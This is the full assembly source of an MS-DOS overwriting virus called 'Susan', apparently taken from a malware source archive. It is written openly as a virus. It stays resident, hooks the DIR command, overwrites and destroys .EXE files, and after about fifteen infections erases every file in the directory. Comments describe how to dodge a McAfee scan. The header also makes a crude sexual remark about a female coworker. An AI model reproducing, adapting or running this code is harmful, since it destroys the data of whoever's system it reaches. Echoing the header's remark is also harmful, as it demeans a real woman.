MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.susan1.asm
2021-01-12 17:58:25 -06:00

389 lines
12 KiB
NASM

Susan virus: included in Crypt Newsletter 13
COMMENT *
Susan Virus, Strain A
Written by NB
This program needs to be assembled with Turbo Assembler.
Special thanks go to Richard S. Sadowsky of TurboPower Software
for the help on using INT 2F with those majick functions!
This is an example of an interesting technique for writing a virus
that is terminate-and-stay-resident.
Description:
Susan is a file overwrite virus. Named for a woman in my department
who is overly concerned about virii, but has no idea about what the
fuck they actually are. She also has real nice tits. This is a TSR
that only infects .EXE files. Each time the user types "DIR", the
first .EXE file found is infected. After 15 such infections, then
each time DIR is typed, all files are erased in that directory.
Infected .EXEs are destroyed and will not run. Attempts to run them
will display the message "Bad command or file name" message.
Interesting Features:
- File size and date-stamp of infected file is maintained.
- Uses Vienna Virus technique of using the file time to determine
if a target file is infected.
- Infects and zaps everytime the user types a plain DIR command.
- Hooks INT 2F for handling the DIR command.
- Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
installed in memory.
- Writes the bug directly from memory.
*
.model small
.code
LOCALS @@
ORG 100h ; for COM file
DTA STRUC ; used for file searching
dtaReserved db 21 dup (0)
dtaAttrib db 0
dtaTime dw 0
dtaDate dw 0
dtaSize dd 0
dtaName db 13 dup (0)
DTA ENDS
DPL STRUC ; DOS Parameter List used for undoc funcs
dplAX DW 0
dplBX DW 0
dplCX DW 0
dplDX DW 0
dplSI DW 0
dplDI DW 0
dplDS DW 0
dplES DW 0
dplCID DW 0 ; computer ID (0 = current system)
dplPID DW 0 ; process ID (PSP on specified computer)
DPL ENDS
Pointer STRUC ; nice structure for a pointer type
Ofst DW 0
Segm DW 0
Pointer ENDS
Start:
JMP Initialize
OurCommandLen EQU 3
PathOfs EQU 80h ; Use command tail of PSP as path buffer
FuckMeNow EQU 16
virSig dw 'uS' ; Don't delete this line...
virName db 'san' ; ...this is the Susan Virus!
EofMarker db 26
OldInt2F Pointer <>
FNameLen db 3
FileName db '*.*', 0
DeleteDPL DPL <>
FuckCount db 0
SaveDTA Pointer <>
TargetMask db '*.EXE', 0
Victim DTA <>
OurCmd db 'DIR', 0Dh
IsInfected:
; This will detect if the .exe is already infected. We are using
; a nifty technique pulled from the Vienna Virus. If the file's
; seconds is 62, then that file is infected.
MOV AX, Victim.dtaTime
AND AX, 1Fh
CMP AX, 1Fh ; >60 seconds
; JZ infected
; JNZ not infected
RET
SearchExec:
; Returns AX = 1 if a uninfected file found
XOR CX,CX ; Search for an .EXE file
MOV DX,OFFSET TargetMask ; DS has seg
MOV AH, 4Eh
INT 21h
JC @@AlreadyInfected ; No .exes in this directory
CALL IsInfected ; Is this file infected?
JNZ @@NotInfectedYET
; Need to look for next file (maybe next version, haha)
@@AlreadyInfected:
XOR AX, AX ; Zeros out AX
RET
@@NotInfectedYET:
MOV AX, 1 ; Return a <> Zero indicator: Boolean
RET
CopySelf:
MOV DX, OFFSET Victim.dtaName ; Open file for read/write
MOV AX, 4301h
MOV CX, 0 ; Clear all attributes to NORMAL
INT 21h
MOV AH, 3Dh ; Now open up the file... Don't worry now about nets
MOV AL, 2 ; read/write access
int 21h
MOV BX, AX
PUSH CS ; Write the virus to the start of the open file
POP DS
MOV DX,OFFSET Start ; Start of virus
MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
MOV AH,40h
NOP ; WOW! this NOP will suppresses McAfees' scan from
INT 21h ; thinking this is a VR [FR] virus!
MOV DX, Victim.dtaDate
MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp
MOV AX, 5701h
OR CX, 001Fh ; And set the time to 62 seconds!
INT 21h ; ala Vienna Virus
MOV AH, 3Eh ; Close up the file - we're done
INT 21h
RET
Manipulate:
PUSH AX ; Uh...Save registers?
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
MOV SI,CS ; get Canonical pathname
MOV ES,SI
MOV DS,SI
CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect?
JL @@InfectCity
MOV DI,PathOfs
MOV SI,OFFSET FileName ; Mask to delete
MOV AH,60h
INT 21h
MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List
MOV [SI].dplAX,4100h
MOV AX,CS
MOV [SI].dplDS,AX
MOV [SI].dplDX,PathOfs
MOV [SI].dplES,0
MOV [SI].dplCID,0
MOV [SI].dplPID,AX
MOV DS,AX ; Make DOS Server Function Call
MOV DX,SI
MOV AX,5D00h
INT 21h
; Infect more here...
@@InfectCity:
MOV AH, 2FH ; get the current DTA address
INT 21h
MOV AX,ES
MOV SaveDTA.Segm, AX ; Save it
MOV SaveDTA.Ofst, BX
MOV DX, OFFSET victim ; Set DTA to this glob of memory
MOV AH, 1Ah
INT 21h
CALL SearchExec
CMP AX, 0
JZ @@InfectNot
CALL CopySelf
INC FuckCount ; Track the time until eating files...
PUSH DS ; Restore the DTA
MOV AX, SaveDTA.Segm
MOV DS, AX
MOV DX, SaveDTA.Ofst
MOV AH, 1Ah
INT 21h
POP DS
; And return to the way it was...
@@InfectNot:
POP ES
POP DS
POP DI
POP SI
POP DX
POP AX
; If you want the DOS command to not execute, then you just need to uncomment
; out the next line:
; MOV BYTE PTR [SI],0 ; clear out the command string
RET
; convert pascal style string in DS:SI to uppercase
UpperCaseSt:
PUSH CX
PUSH SI
XOR CX,CX
MOV CL,BYTE PTR [SI]
@@UpcaseCh: ; Oh well, not too hard...
INC SI
CMP BYTE PTR [SI],'a'
JB @@NotLower
CMP BYTE PTR [SI],'z'
JA @@NotLower
SUB BYTE PTR [SI],'a' - 'A'
@@NotLower:
LOOP @@UpcaseCh
POP SI
POP CX
RET
; zf set if match, zf not set if no match
IsMatch:
; NOTE: ds:bx has command line
; ofs 0 has max length of command line
; ofs 1 has count of bytes to follow command line text,
; terminated with 0Dh
PUSH CX
PUSH SI
PUSH DI
PUSH ES
MOV SI,BX
INC SI
CALL UpperCaseSt
INC SI
MOV CX,CS
MOV ES,CX
MOV DI,OFFSET OurCmd
MOV CX,OurCommandLen + 1
CLD
REPE CMPSB
POP ES
POP DI
POP SI
POP CX
RET
IsMatch2:
PUSH CX
PUSH SI
PUSH DI
PUSH ES
XOR CX,CX
MOV CL,BYTE PTR [SI]
INC SI
CMP CL,OurCommandLen
JNZ @@NotOurs
MOV DI,CS
MOV ES,DI
MOV DI,OFFSET OurCmd
CLD
REPE CMPSB
@@NotOurs:
POP ES
POP DI
POP SI
POP CX
RET
Int2FHandler:
CMP AX, 010Fh ; Am I installed?
JNZ CheckCmd
MOV AX, virSig
IRET
CheckCmd:
CMP AH,0AEh ; a nifty-c00l majick function
JNE @@ChainInt2F
CMP AL,0
JE @@CheckCommand
CMP AL,1
JE @@ExecuteCommand
@@ChainInt2F:
JMP DWORD PTR CS:[OldInt2F]
@@CheckCommand: ; Dos is checking if we are a valid command
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch
JNZ @@ChainInt2F
MOV AL,0FFh
IRET
@@ExecuteCommand: ; Dos says "yup! - Execute it!"
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch2
JNZ @@ChainInt2F
CALL Manipulate
IRET
Initialize:
MOV FuckCount, 0 ; Clear it since we may have written junk
MOV DX,OFFSET InstallMsg
MOV AH,09h
INT 21h
MOV AH,30h ; Check DOS version >= 3.3
INT 21h
XCHG AH,AL
CMP AX,0303h
JB @@InstallBad
; NOTE: This checks to see if we are already installed in memory.
; Basically, we have added a new subfunction to the PRINT funcs
; which returns my initials if installed.
MOV AX, 010Fh ; Check if we are installed
INT 2Fh
CMP AX, virSig
JZ @@InstallBad
MOV AX,352Fh ; Lets get and save int 2F
INT 21h
MOV OldInt2F.Ofst,BX
MOV OldInt2F.Segm,ES
MOV DX,OFFSET Int2FHandler ; And set it to ours
MOV AX,252Fh
INT 21h
MOV SI,2Ch
MOV AX,[SI] ; get segment of env's memory
MOV ES,AX
MOV AH,49h ; release environment block's memory
INT 21h
; NOTE: Normally, we would have something like OFFSET INITIALIZE but
; since we want to write the code from memory to disk, we have to
; keep the whole thing in memory.
MOV DX,OFFSET EndOBug
ADD DX,15
MOV CL,4
SHR DX,CL
MOV AX,3100h
INT 21h ; Terminate and stay resident!
@@InstallBad:
MOV AX,4C00h ; Just quit with no message - no sense telling what
INT 21h ; may have occured...
InstallMsg:
db 'Bad command or file name', 0Dh, 0Ah
EndOBug db '$' ; Very important (tho lame) - Do not remove!
_TEXT ENDS
END Start